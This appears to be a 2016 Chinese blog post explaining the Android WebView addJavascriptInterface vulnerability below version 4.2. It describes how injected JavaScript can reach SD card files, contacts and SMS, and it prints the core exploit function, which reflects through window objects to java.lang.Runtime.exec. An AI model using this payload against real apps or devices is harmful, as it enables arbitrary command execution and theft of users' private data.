美文网首页
利用webviewJs漏洞能干什么事

利用webviewJs漏洞能干什么事

作者: 许先森的许 | 来源:发表于2016-11-28 11:18 被阅读38次

什么漏洞?

用addJSI这个方法在4.2之下导致不安全,因为js可能包含恶意代码。

包含恶意代码可以干什么?

可以访问你设备sd卡上任何信息,甚至是联系人信息,短信。不信?可以去问问汤海宏H5不在app帮助下如何拿手机图片。

这个漏洞是怎么出现的?

1、WebView添加了JS对象,并且当前应用具备SD卡读写权限:android.permission.WRITE_EXTERNAL_STORAGE

2、JS可以遍历Window对象,找到含有getClass方法的对象的对象,然后反射得到RUNTIME对象,调用静态方法来执行一些命令,比如访问文件;

3、通过访问文件命令返回的输入流中得到字符串,就可以得到文件名信息,就可以干一些事。

核心JS代码如下:

functionexecute(cmdArgs)

{

for(varobjinwindow) {

if("getClass"inwindow[obj]) {

alert(obj);

returnwindow[obj].getClass().forName("java.lang.Runtime")

.getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);

}

}

}

如何解决,看我另外一篇文章JSBridge

相关文章

  • 利用webviewJs漏洞能干什么事

    什么漏洞? 用addJSI这个方法在4.2之下导致不安全,因为js可能包含恶意代码。 包含恶意代码可以干什么? 可...

  • msfconsole

    Exploit 模块 --》漏洞利用 payloads --》shellcode 漏洞利用后执行的代码 use e...

  • metasploit+nessus

    我们一般重点关注高危漏洞,中危漏洞利用条件会比较苛刻,低危漏洞基本没有利用的可能。查看高危漏洞详情,根据漏洞简介信...

  • CTF初识

    ctf分类 安全加固,系统运维,漏洞修补 网络流量,日志分析, 漏洞利用,补丁开发,组织攻防 漏洞利用,攻防实施 ...

  • 漏洞利用

    这个子集主要讨论以下内容: 文件包含漏洞和上传file inclusions and uploads OS 命令劫...

  • 3 栈溢出

    栈溢出漏洞利用

  • 4 堆溢出

    堆溢出漏洞利用

  • 文件上传漏洞

    文件上传漏洞 权限 漏洞分类 利用条件 漏洞挖掘 常见可执行文件后缀

  • 2 安全编译

    格式化漏洞利用

  • 5 格式化漏洞利用

    格式化漏洞利用

网友评论

      本文标题:利用webviewJs漏洞能干什么事

      本文链接:https://www.haomeiwen.com/subject/ryhopttx.html